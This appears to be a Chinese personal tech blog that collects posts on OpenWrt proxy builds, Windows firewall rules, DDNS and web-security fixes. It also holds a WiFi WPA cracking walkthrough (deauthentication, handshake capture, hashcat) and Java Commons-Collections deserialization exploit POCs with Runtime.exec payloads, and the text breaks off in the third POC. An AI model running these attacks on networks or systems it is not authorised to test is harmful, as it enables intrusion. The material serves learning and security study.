ssh [email protected] -o ProxyCommand='ssh -W %h:%p -oPort=22 -oIdentityFile="~/.ssh/key" 11.22.33.44' -p 22
让连111.222.111.222的ssh 外面裹着 11.22.33.44的ssh隧道。

bookmark_borderopenwrt编译ssr

需求

弄了个软路由,openwrt。
CPU : MediaTek MT7621A
是什么 mipsel_24kc 架构的。搞不懂。
刷了几天终于把能上谷歌的插件装上了。
一开始用openclash,结果装上配置太复杂,玩不转。
然后又去找其他的替代软件,发现ShadowSocksR Plus+ 和符合我的需求。简单粗暴。

编译

建议使用Ubuntu18.04,我用的Debian10也可以,CPU > 1 ,内存 >1。我用的4G 2C。全程建议在能上外网的环境下进行。
在LEDE中编译:

# 全程不能用root操作
sudo apt-get update
sudo apt-get -y install build-essential asciidoc binutils bzip2 gawk gettext git libncurses5-dev libz-dev patch python3 python2.7 unzip zlib1g-dev lib32gcc1 libc6-dev-i386 subversion flex uglifyjs git-core gcc-multilib p7zip p7zip-full msmtp libssl-dev texinfo libglib2.0-dev xmlto qemu-utils upx libelf-dev autoconf automake libtool autopoint device-tree-compiler g++-multilib antlr3 gperf wget curl swig rsync

# https://github.com/Lienol/openwrt
# https://github.com/gl-inet/openwrt.git
# https://github.com/coolsnowwolf/lede 看说明
# 二次编译 和 重新配置 查看仓库README
git clone https://github.com/coolsnowwolf/lede
cd  lede/package
git clone https://github.com/kenzok8/openwrt-packages.git
git clone https://github.com/kenzok8/small.git

cd  ../
./scripts/feeds clean && ./scripts/feeds update -a 
./scripts/feeds install -a
# 在弹出的菜单中,通过前三个选择到指定的CPU型号,在LUCI里选择要编译的应用。配置保存为 ".config"文件
make menuconfig

# 下载dl库(国内请尽量全局科学上网)
make -j8 download V=s
# -j1 后面是线程数。第一次编译推荐用单线程
# 如果之前用 proxychains4 ,那这一步不能用 proxychains4 。
make -j1 V=s

make menuconfig 这一步要注意,Luci->Application中luci-app-passwall 的NaiveProxy ,我勾选上会报错,需要取消勾选:

 <M> luci-app-passwall.............................. LuCI support for PassWall
 [ ] Include NaiveProxy    

安装

bin目录下会有很多包
直接安装 luci-app-ssr-plus_181-4_all.ipk会报少依赖:

缺啥依赖 就用 find 命令去bin/目录下找,找到拉过去安装,直到完全满足依赖。

luci-app-ssr-plus:

  • shadowsocksr-libev-alt
  • pdnsd-alt
  • microsocks
  • dns2socks
  • shadowsocksr-libev-ssr-local
  • tcping
  • shadowsocks-libev-ss-local
  • shadowsocks-libev-ss-redir
  • simple-obfs
  • shadowsocks-rust-sslocal
  • simple-obfs
  • v2ray-plugin
  • xray-core
  • trojan
  • ipt2socks
  • redsocks2
  • kcptun-client
  • shadowsocksr-libev-server
  • shadowsocksr-libev-alt
  • shadowsocks-libev-ss-local
  • shadowsocks-libev-ss-redir
  • simple-obfs

passwall:

  • shadowsocks-libev-ss-server
  • xray-geodata
  • trojan-plus
  • trojan-go
  • naiveproxy
  • brook
  • chinadns-ng

vssr:

  • lua-maxminddb
  • xray-plugin

还要额外安装 luci-compat

我编译好的:
https://mc.73007300.xyz/files/router/

bookmark_borderWindows防火墙小结

 windows防火墙默认只要不加block策略,没开放的就是关闭
可以通过netsh配置如上策略:
netsh advfirewall set currentprofile  blockinbound,allowoutbound
其它一些例子
# 恢复初始防火墙设置
netsh advfirewall reset
# 关闭防火墙
netsh advfirewall set allprofiles state off
# 开启防火墙
netsh advfirewall set allprofile state on 
# 查看状态
netsh advfirewall show allprofiles
# 关闭已有规则
NETSH ADVFIREWALL FIREWALL SET RULE all NEW enable=no

# 直接禁止指定端口 会导致其它没指定的端口放开
# 保证不会关闭业务端口
netsh advfirewall set allprofile state on 
netsh advfirewall firewall add rule dir=in action=block protocol=UDP localport=53 name="Block_UDP-53"
netsh advfirewall firewall add rule dir=in action=block protocol=TCP localport=445 name="Block_TCP-445"
netsh advfirewall firewall add rule dir=in action=block protocol=TCP localport=135 name="Block_TCP-135"
netsh advfirewall firewall add rule dir=in action=block protocol=TCP localport=137 name="Block_TCP-137"
netsh advfirewall firewall add rule dir=in action=block protocol=TCP localport=138 name="Block_TCP-138"
netsh advfirewall firewall add rule dir=in action=block protocol=TCP localport=139 name="Block_TCP-139"
netsh advfirewall firewall add rule dir=in action=block protocol=TCP localport=3389 name="Block_TCP-3389"


# 3389对指定IP放行 
netsh advfirewall firewall add rule name="Allow baoleiji access 3389" dir=in protocol=TCP action=allow localport=3389  remoteip="10.153.127.110"
netsh advfirewall firewall add rule name="Allow baoleiji access 3389" dir=in protocol=TCP action=allow localport=3389  remoteip="192.168.111.129"

#  删掉指定名称的规则
netsh advfirewall firewall delete rule name="Block_UDP-53"
netsh advfirewall firewall delete rule name="Block_TCP-135"
netsh advfirewall firewall delete rule name="Block_TCP-137"
netsh advfirewall firewall delete rule name="Block_TCP-138"
netsh advfirewall firewall delete rule name="Block_TCP-139"
netsh advfirewall firewall delete rule name="Block_TCP-445"
netsh advfirewall firewall delete rule name="Block_TCP-1245"
netsh advfirewall firewall delete rule name="Block_TCP-1433"
netsh advfirewall firewall delete rule name="Block_TCP-3306"
netsh advfirewall firewall delete rule name="Block_TCP-3389"
#禁用 指定端口上的规则
NETSH ADVFIREWALL FIREWALL SET RULE  name=all dir=in localport=53  protocol=UDP NEW enable=no
NETSH ADVFIREWALL FIREWALL SET RULE  name=all dir=in localport=135  protocol=TCP NEW enable=no
NETSH ADVFIREWALL FIREWALL SET RULE  name=all dir=in localport=137  protocol=TCP NEW enable=no
NETSH ADVFIREWALL FIREWALL SET RULE  name=all dir=in localport=138  protocol=TCP NEW enable=no
NETSH ADVFIREWALL FIREWALL SET RULE  name=all dir=in localport=139  protocol=TCP NEW enable=no
NETSH ADVFIREWALL FIREWALL SET RULE  name=all dir=in localport=445  protocol=TCP NEW enable=no
NETSH ADVFIREWALL FIREWALL SET RULE  name=all dir=in localport=1245  protocol=TCP NEW enable=no
NETSH ADVFIREWALL FIREWALL SET RULE  name=all dir=in localport=3389  protocol=TCP NEW enable=no

# 只允许堡垒机(10.153.127.110)访问3389
netsh advfirewall firewall add rule name="Allow baoleiji access 3389" dir=in protocol=TCP action=allow localport=3389  remoteip="10.153.127.110"

# 删掉指定端口,指定协议上的规则 不建议使用
netsh advfirewall firewall delete rule name=all dir=in localport=53  protocol=UDP
netsh advfirewall firewall delete rule name=all dir=in localport=135  protocol=TCP
netsh advfirewall firewall delete rule name=all dir=in localport=137  protocol=TCP
netsh advfirewall firewall delete rule name=all dir=in localport=138  protocol=TCP
netsh advfirewall firewall delete rule name=all dir=in localport=139  protocol=TCP
netsh advfirewall firewall delete rule name=all dir=in localport=445  protocol=TCP
netsh advfirewall firewall delete rule name=all dir=in localport=1245  protocol=TCP


# 开启防火墙阻止445并开放其他所有端口
netsh advfirewall set allprofile state on 
netsh advfirewall firewall add rule dir=in action=block protocol=TCP localport=445 name="Block_TCP-445"
netsh advfirewall firewall add rule name="ALL port" protocol=TCP dir=in localport=1-444 action=allow
netsh advfirewall firewall add rule name="ALL port" protocol=TCP dir=in localport=446-65535 action=allow

# 重置全部规则,只允许堡垒机访问3389
netsh advfirewall reset 
netsh advfirewall set allprofile state on 
NETSH ADVFIREWALL FIREWALL SET RULE all NEW enable=no
netsh advfirewall firewall add rule name="Allow baoleiji access 3389" dir=in protocol=TCP action=allow localport=3389  remoteip="10.153.127.110"

#查看所有支持IPv6的网卡
Get-NetAdapterBinding -ComponentID ms_tcpip6
#禁用所有网卡的IPv6协议
Disable-NetAdapterBinding -Name "*" -ComponentID ms_tcpip6
# 如果后面需要启用,执行: Enable-NetAdapterBinding -Name "*" -ComponentID ms_tcpip6

# 官方文档 https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd734783(v=ws.10)?redirectedfrom=MSDN
# 禁用规则 https://www.tenforums.com/tutorials/90033-enable-disable-ipv6-windows.html

bookmark_borderafraid.org注册free DDNS

假如我现在有一个动态公网IP
想挂一个域名,这个域名每隔一段时间就刷新一次解析的IP,确保我能通过域名连上IP
访问 https://freedns.afraid.org 注册登录
点击 Subdomains:
新增一个子域名:
那73007300.mooo.com将指向1.1.1.1的IP。
注册完域名访问 https://freedns.afraid.org/dynamic/ 
可以看到,这里有很多方式可以更新域名的IP。
最简单的就是点开”quick cron example”,把example的最后一行添加到Linux crontab中,这样Linux服务器的公网IP就会被定时刷新到域名。
舒服~~~

bookmark_borderWIFI破解总结

思路:
1. 抓包
2. 破解

1. 抓包

1.1. 搜集信息

准备一块支持监听模式的WIFI网卡,普通笔记本不支持,淘宝搜索 WIFI 渗透 网卡 就行了。
装上驱动,插上网卡。
切换到 monitor 或 managed 模式
#启动监控模式:(其它系统中网卡名字可能不同 通过iwconfig查看 )
ip link set wlan0 down
iwconfig wlan0 mode monitor
ip link set wlan0 up
airodump-ng wlan0 
#启动托管模式:
ip link set wlan0 down
iwconfig wlan0 mode managed
ip link set wlan0 up
#重要信息:在Vmware中使用Kali VM时:将Vmware中的USB设置从USB 2.0更改为USB 3.0。
确保没别的程序在用
airmon-ng check kill
查看网卡名字:
iwconfig
启动网卡:
airmon-ng start wlan0
搜集WIFI信息:
airodump-ng wlan0
主要搜集以下3个信息:
BSSID = AC:35:EE:15:8B:E2
网卡MAC地址,不用多说
CH = 6
信道
ESSID = DR-36670
WIFI名字
PWR 越大代表离得越近,-1代表不支持
Beacons 代表捕获到AP发的包数

1.2. 启动监听

模拟目标WIFI,启动监听:
airodump-ng --bssid AC:35:EE:15:8B:E2 -c 6 --write WPAcrack wlan0
-c 是 chanel的意思
–write 是保存抓到的数据包的名字
然后打开一个新的终端。

1.3. 抓握手包

强制让已连接的设备下线,重新握手:
aireplay-ng --deauth 100 -a AC:35:EE:15:8B:E2 wlan0
-c :指定用户的MAC地址
看2.的终端,
当右上角看到 handshake就代表抓到了:
图片下面代表的抓带了哪些设备的握手包。
抓到包,自动存到当前目录:
然后就可以把拿到的握手包去跑字典了。

2. 破解

2.1 CPU破解

用 AirCrack,这种方式比较慢。也有图形界面,比较简单粗暴。打开图形界面,设置好cap包和字典,还有WIFI类型,就可以跑了。
缺点是很慢。

2.2 GPU破解

hashcai可以用GPU跑字典实测用 RTX2060的显卡 比用 R7 2700的CPU快很多倍。
2.2.1 首先把cap转换成hccapx格式
在线转的网站:https://hashcat.net/cap2hccapx/
本地转的命令:
git clone https://github.com/hashcat/hashcat-utils.git
cd hashcat-utils/src
make
./cap2hccapx.bin /media/pcap/2603/2603-02.cap /media/pcap/2603/2603-02.hccapx
2.2.2 配置环境
下载 hashcat:
设置Windows内核参数,Linux环境忽略:
2.2.3 开始跑字典
.\hashcat.exe -a 3 -m 2500 -w 3 E:\********\********.hccapx E:\****\SecLists\Passwords\WiFi-WPA\probable-v2-wpa-top4800.txt
 这种的话会把每一次失败的尝试也打印出来,如果只想看成功的日志:
.\hashcat.exe -a 3 -m 2500 -w 3 E:\********\********.hccapx E:\****\SecLists\Passwords\WiFi-WPA\probable-v2-wpa-top4800.txt --quiet
-w 3 的意思是用很高的GPU 1最低 4最高。
-a 3 的是意思是暴力破解
-m 2500的意思是模式
关于用什么模式 参考:https://hashcat.net/wiki/doku.php?id=frequently_asked_questions#how_can_i_identify_the_hash_type
结果看当前目录的potfile:
这里有一个技巧,如果跑着跑着断了,比如强制关了,只要当前目录下还有.restore文件,就可以继续跑,而不用重新开始:
.\hashcat.exe --restore
如果说字典真的比较大,要跑很久,建议在参数中加上 –session 参数:
.\hashcat.exe -a 3 -m 2500 -w 3 E:\********\********.hccapx E:\****\SecLists\Passwords\WiFi-WPA\probable-v2-wpa-top4800.txt  --session test1 --quiet
即使中途退出了,使用如下命令就能恢复了:
hashcat --session test1 --restore

bookmark_border账号密码明文传输修复

需求
登录请求的账号密码是明文传输的,可能造成中间人抓取后重放。

实现:
思路

  1. 打开登录页面,页面包含一个token,然后利用token和用户输入的密码做异或运算。这个token存在服务器session中。
  2. 前端加密后传到服务器,服务器用session中的token对加密数据再做一次异或运算即得到密码明文
    3.中间人抓到密文的密码回放,由于token不一致,服务器解密失败。登录失败。

1.
登录表单配置token:

用4位随机数填充页面:

这样在打开登录页面时就生成了一个token:


  1. 在前端做异或运算

取到登录表单中的token , 若token长度小于密码,那token就再拼一次,知道token的长度大于密码的长度才能做异或运算。
然后把token和密码转成unicode的数字形式做异或运算,由于结果的字符很可能时不可读的,转成16进制传输。
服务端用同样的算法,先从session中取出正确的token,用相同的思路再次异或运算得出 密码。

至此,登录密码加密传输完成:

bookmark_border记一次网站验证码添加

需求

在登录页面加验证码功能

登录缺乏验证码保护

实现
思路:

  1. 搞清楚网站框架,调用框架在前台加验证码生成的模块
  2. 修改js,登录携带验证码,并使控制器正确处理验证码
  3. 登录失败刷新验证码

1.
根据simplewind判断是thinkcmf框架

根据目录结构,判断是CMFX框架,上网查了一下,很老的框架,上次更新都在2016年了。
然后基于thinkPHP 3.X的框架。
查阅官方文档https://www.thinkcmf.com/docs/cmfx/special/verifycode.html

grep命令找到登录页面:
themes\shop\Portal\login.html
在form表单添加一个验证码功能

修改public\assets\css\login.css 调节样式。

接下来添加验证码逻辑。

2.
找到点击登录的js
public\assets\js\login.js
取出form表单里的验证码,增加为控判断,不为空登录post请求就带着验证码发送

然后找到对应的Controller,通过请求地址得知,登录验证的逻辑应该在index相关的Controller的jmp_login()的方法中:

结合官方文档:

找到相关位置,先取出验证码,再通过框架接口判断验证码,错误返回错误信息:

自己定义一个错误代码,用于后面弹出对应错误代码的错误信息。
修改登录的JS,如果失败,弹出错误信息:

JS中弹出返回的信息:

自己定义一个错误代码,用于后面弹出对应错误代码的错误信息。
修改登录的JS,如果失败,弹出错误信息:


  1. 由于系统前端使用了jquery

直接通过jquery在登录失败后刷新验证码图片即可:

最后整个验证码功能基本完成:

bookmark_border记一次网站ID越权修复过程

1.ID遍历
某网站id可遍历,可越权查看别人的实验报告:

2.定位问题:
网站使用thinkCMF框架
通过index.php 定位到网站位于application目录下:

根据URL参数 的特征g=&m=index&a=jump_result&test_id=1533
定位到 test_id 应该位于 index 相关类的jump_result 方法
在Visual Code 用Ctrl Shift F检索application的jump_result 方法,快速定位到问题:

在查询test_id时没有校验身份:

Where条件仅使用test_id作为查询条件。

3.修复

增加身份校验:

$test = M('test')->where(array(['test_id'=>$test_id,'user_id'=>$data['user_id']]))->find();

同时查询test_id和当前用户的user_id即可。
再次尝试越权访问,已无法查看别人的成绩:

bookmark_borderJAVA序列化利用学习:CommonsCollections系列方法总结

本文主要是对Apache CommonsCollections系列的利用方法进行了总结。由于网上已经有太多的分析文章,故未对技术原理做较深入的分析,仅仅是以总结方法为目的。
Apache CommonCollections1-7的利用方法总结如下:

  1. 第一步 准备病毒
  2. 第二步 寻找受体
  3. 第三步 病毒填充到宿主

关于第一步,主要有两种方法:

  1. ChainedTransformer 构造
  2. javassist动态编程生成一个执行命令的类。转化成byte[]类型,填充到某些类(TemplatesImpl)中的“_bytecodes”变量里

关于第二步,主要有两种方法:

  1. 三大Map:LazyMap,TiedMapEntry,HashMap ,对应第一步的第一种方法。
  2. TemplatesImpl类种的_bytecodes可被填充恶意类。对应第一步的第二种方法。

关于第三步,就是用反射把病毒填充到vulnerable的类中,readObject的时候触发病毒。


下面简单了解一下第一步的原理。

通过ChainedTransformer 构造病毒的demo:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class ChainedTransformerTest {
	public static void main(String[] args) {
		Transformer[] transformers = new Transformer[] {
				/*
				 * ConstantTransformer: Transformer implementation that returns the same
				 * constant each time.(把一个对象转化为常量,并返回)
				 */
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
						new Object[] { "getRuntime", new Class[0] }),
				new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
						new Object[] { null, new Object[0] }),
				new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "gnome-calculator" }) };
		// Runtime.getRuntime().exec("calc");
		/*
		 * ChainedTransformer: Transformer implementation that chains the specified
		 * transformers together. (把transformer连接成一条链,对一个对象依次通过链条内的每一个transformer进行转换)
		 */
		Transformer chainedTransformer = new ChainedTransformer(transformers);
		chainedTransformer.transform(null);
	}
}

最终 transform() 方法 会在Gnome桌面环境下的kali中弹出计算器。

关于为什么要用ChainedTransformer,引用《浅析 Java 序列化和反序列化》(当中的说法是“通过反射技术获取对象调用函数都会存在一个上下文环境,使用链式结构的语句可以保证执行过程中这个上下文是一致的。”

通过javassist动态编程生成一个执行命令的类的demo:

import java.io.IOException;

import com.hans.CommonCollection2.CommonsCollections2.Placeholder;

import javassist.CannotCompileException;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.NotFoundException;

public class Javassist {

	public static class Hello {
	    public void say() {
	        System.out.println("Hello");
	    }
	}
	
	public static void main(String[] args) throws CannotCompileException, NotFoundException, InstantiationException, IllegalAccessException, ClassNotFoundException, IOException {
		// TODO Auto-generated method stub
		String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
		
		ClassPool cp = ClassPool.getDefault();
		cp.insertClassPath(new ClassClassPath(Placeholder.class));
		cp.insertClassPath(new ClassClassPath(Class.forName(AbstractTranslet)));
		CtClass cc = cp.get(Hello.class.getName());
		cc.setSuperclass(cp.get(Class.forName(AbstractTranslet).getName()));
		// 2.在自定义恶意类中添加静态模块,一句Rumtime.exec,命令从外部引入
		// 满足条件6:需要执行的恶意代码写在类的静态方法或构造方法中。
		cc.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"gnome-calculator\");"); // 这里 insertBefore 还是 After 都一样
		// 3.设置一个唯一性的class名称
		cc.setName("com.hans.CommonCollections." + System.currentTimeMillis());

		Class c = cc.toClass();
        Hello h = (Hello)c.newInstance();
        //h.say();
	}
}

通过一个demo理解第二步的受体是干嘛的

import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class ChainedTransformerTest {
	public static void main(String[] args) {
	   Transformer[] transformers = new Transformer[]{
		/*
		 * ConstantTransformer:
		 * Transformer implementation that returns the same constant each time.(把一个对象转化为常量,并返回)
		 * */
		   new ConstantTransformer(Runtime.class),
		   new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
		   new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
		   new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"gnome-calculator"})
	  };
	  //Runtime.getRuntime().exec("calc");
	   /*
	    * ChainedTransformer:
	    * Transformer implementation that chains the specified transformers together.
	    * (把transformer连接成一条链,对一个对象依次通过链条内的每一个transformer进行转换)
	    * */
	  Transformer chainedTransformer = new ChainedTransformer(transformers);
	  
	  // code execute;
	  //chainedTransformer.transform(null);
	  
	  Map inMap = new HashMap();
	  inMap.put("key", "value");
	  Map outMap = TransformedMap.decorate(inMap, null, chainedTransformer);//生成
	  /*
	   * Map中的任意项的Key或者Value被修改,相应的Transformer(keyTransformer或者valueTransformer)的transform方法就会被调用。
	   * */
	  for (Iterator iterator = outMap.entrySet().iterator(); iterator.hasNext();){
	      Map.Entry entry = (Map.Entry) iterator.next();
	      entry.setValue("123");
	  }
		
	}
}

在entry.setValue(“123”);处下断点,可以看到,当恶意的chainedTransformer通过decorate()方法填入Map对象后,在进行Map的setValue操作时,会触发transform()方法,触发代码执行。

但是受体的setValue()方法也是需要触发的,因此需要一个可以通过readObject()触发病毒的宿主。


由于CommonsCollections 1-7思路都差不多,都可以套公式(三步走),所以只分析CommonsCollections1,其他的 用上面提到的方法过一下。
下面看具体代码。
CommonsCollections1.java

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class CommonsCollections1 {
    public static void main(String[] args) throws Exception {
    	
    	/*第一步 准备病毒*/
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(java.lang.Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"gnome-calculator"}}),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        
        /*第二步 寻找受体*/
        Constructor constructor = Class.forName("org.apache.commons.collections.map.LazyMap").getDeclaredConstructor(Map.class, Transformer.class);
        constructor.setAccessible(true);
        
        HashMap hashMap = new HashMap<String, String>();
        Object lazyMap = constructor.newInstance(hashMap, chainedTransformer);
        
        /*第三步 填充病毒*/
        constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        // 因为构造方法不是 public, 只能通过反射构造出来
        constructor.setAccessible(true);
        InvocationHandler invo = (InvocationHandler) constructor.newInstance(Deprecated.class, lazyMap);
        
        Object proxy = Proxy.newProxyInstance(invo.getClass().getClassLoader(), new Class[]{Map.class}, invo);

        constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Deprecated.class, proxy);

        //将恶意对象存储为字节码
        FileOutputStream fos = new FileOutputStream(System.getProperty("user.dir") + "/resources/CommonCollections1.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
        oos.flush();
        oos.close();
        //读取恶意对象字节码并进行反序列化操作
        FileInputStream fis = new FileInputStream(System.getProperty("user.dir") + "/resources/CommonCollections1.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object evilObject = ois.readObject();
        ois.close();
    }
}

在 ois.readObject(); 处下断点。Object obj = readObject0(false); 跟进

TC_OBJECT条件跟进:

readSerialData(obj, desc);跟进

在这个方法里就是遍历处理Object对象
slotDesc.invokeReadObject(obj, this); 跟进,其他可以一路F6

直到进入我们的主角,宿主AnnotationInvocationHandler

果然在readObject中有对Map对象的操作。
当进入AnnotationInvocationHandler的invoke方法,跟进Object var6 = this.memberValues.get(var4);
嗯,然后就是触发病毒的transform()了。

图中 iTransformers 就是用反射填充进AnnotationInvocationHandler的恶意链。
这里的LazyMap其实就像是病毒的受体一样,就像是最近新冠病毒最先感染人的肺部一样。
而AnnotationInvocationHandler就像是人体一样,里面装的感染的LazyMap,执行序列化工作的时候就会触发肺部激活病毒。

三步总结:

  1. 准备病毒。利用ChainedTransformer制造出可以执行代码的对象
  2. 寻找受体。把病毒填充到LazyMap,这个LazyMap就行人的肺部一样,作为病毒受体。
  3. 填充病毒。把受感染的肺用反射的技术装到宿主(AnnotationInvocationHandler)上。

下面用这个方法把 2-7的POC概括一下:

CommonsCollections2.java

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsCollections2 {
    public static class Placeholder {
    }

    public static void main(String[] args) throws Exception {
        String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        
        /*第一步 准备病毒*/
        
		// 1.使用一个自定义的满足条件的恶意模板类StubTransletPayload
		// 满足条件5:恶意类继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet。
        //Javassist包中建立一个容器
        ClassPool classPool = ClassPool.getDefault();
        //添加自定义的恶意模板类StubTransletPayload的路径至容器的Classpath
        classPool.insertClassPath(new ClassClassPath(Placeholder.class));
        classPool.insertClassPath(new ClassClassPath(Class.forName(AbstractTranslet)));
        
        //从Classpath中寻找自定义的恶意模板类StubTransletPayload,引入它,之后对它进行修改
        CtClass placeholder = classPool.get(Placeholder.class.getName());
        placeholder.setSuperclass(classPool.get(Class.forName(AbstractTranslet).getName()));
		// 2.在自定义恶意类中添加静态模块,一句Rumtime.exec,命令从外部引入
		// 满足条件6:需要执行的恶意代码写在类的静态方法或构造方法中。
        placeholder.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"gnome-calculator\");"); // 这里 insertBefore 还是 After 都一样
        // 3.设置一个唯一性的class名称
        placeholder.setName("com.hans.CommonCollection2." + System.currentTimeMillis());

        // 4. 把我们的自定义的恶意类转化成byte数组模式
        byte[] bytecode = placeholder.toBytecode();
        
        /*第二步 寻找受体*/
        
        // 动态获取 TemplatesImpl 对象
        Object templates = Class.forName(TemplatesImpl).getConstructor(new Class[]{}).newInstance();
        // 反射的方式修改对象
        Field fieldByteCodes = templates.getClass().getDeclaredField("_bytecodes");
        fieldByteCodes.setAccessible(true);
        fieldByteCodes.set(templates, new byte[][]{bytecode});

        Field fieldName = templates.getClass().getDeclaredField("_name");
        fieldName.setAccessible(true);
        fieldName.set(templates, "hans");

        /*第三步 病毒填充到宿主。*/
        
        // InvokerTransformer(final String methodName, final Class<?>[] paramTypes, final Object[] args)
        // comparator 是后续方法调用的参数。
        InvokerTransformer<?, ?> invokerTransformer = new InvokerTransformer<Object, Object>("newTransformer", new Class[]{}, new Object[]{});
        TransformingComparator<?, ?> comparator = new TransformingComparator<Object, Object>((Transformer<? super Object, ? extends Object>) invokerTransformer);
        PriorityQueue<Integer> queue = new PriorityQueue<Integer>(2);
        queue.add(1);
        queue.add(1);

        Field field = PriorityQueue.class.getDeclaredField("queue");
        field.setAccessible(true);
        Object[] innerArr = (Object[]) field.get(queue);
        innerArr[0] = templates;
        innerArr[1] = templates;

        field = PriorityQueue.class.getDeclaredField("comparator");
        field.setAccessible(true);
        // 宿主被填充进 PriorityQueue
        field.set(queue, comparator);

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(System.getProperty("user.dir") + "/resources/CommonCollections2.ser"));
        oos.writeObject(queue);
        oos.close();
        
        FileInputStream fis = new FileInputStream(System.getProperty("user.dir") + "/resources/CommonCollections2.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object newObj = ois.readObject();
        ois.close();
    }
}

javassist 动态生成病毒,TemplatesImpl作为受体,PriorityQueue作为宿主。

CommonsCollections3.java

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import javax.xml.transform.Templates;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections3 {
    public static class Placeholder implements Serializable {
    }

    public static void main(String[] args) throws Exception {
        String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String TrAXFilter = "com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter";

        /*第一步 准备病毒*/
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(CommonsCollections3.Placeholder.class));
        classPool.insertClassPath(new ClassClassPath(Class.forName(AbstractTranslet)));

        CtClass placeholder = classPool.get(CommonsCollections3.Placeholder.class.getName());
        placeholder.setSuperclass(classPool.get(Class.forName(AbstractTranslet).getName()));
        placeholder.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"gnome-calculator\");");
        placeholder.setName("demo.rmb122." + System.currentTimeMillis());

        byte[] bytecode = placeholder.toBytecode();
        
        
        /*第二步 寻找受体*/
        Object templates = Class.forName(TemplatesImpl).getConstructor(new Class[]{}).newInstance();
        Field fieldByteCodes = templates.getClass().getDeclaredField("_bytecodes");
        fieldByteCodes.setAccessible(true);
        fieldByteCodes.set(templates, new byte[][]{bytecode});

        Field fieldName = templates.getClass().getDeclaredField("_name");
        fieldName.setAccessible(true);
        fieldName.set(templates, "hans");
        
        
        /*第三步 病毒填充到宿主。*/
        /* 这一步把三步又走了一遍 */
        /*3.1 准备载体*/
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.forName(TrAXFilter)),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        /*3.2 寻找受体*/
        // 反射的方法获取一个lazyMap
        Constructor constructor = Class.forName("org.apache.commons.collections.map.LazyMap").getDeclaredConstructor(Map.class, Transformer.class);
        constructor.setAccessible(true);
        HashMap hashMap = new HashMap<String, String>();
        Object lazyMap = constructor.newInstance(hashMap, chainedTransformer);

        /*第三步 病毒填充到宿主。*/
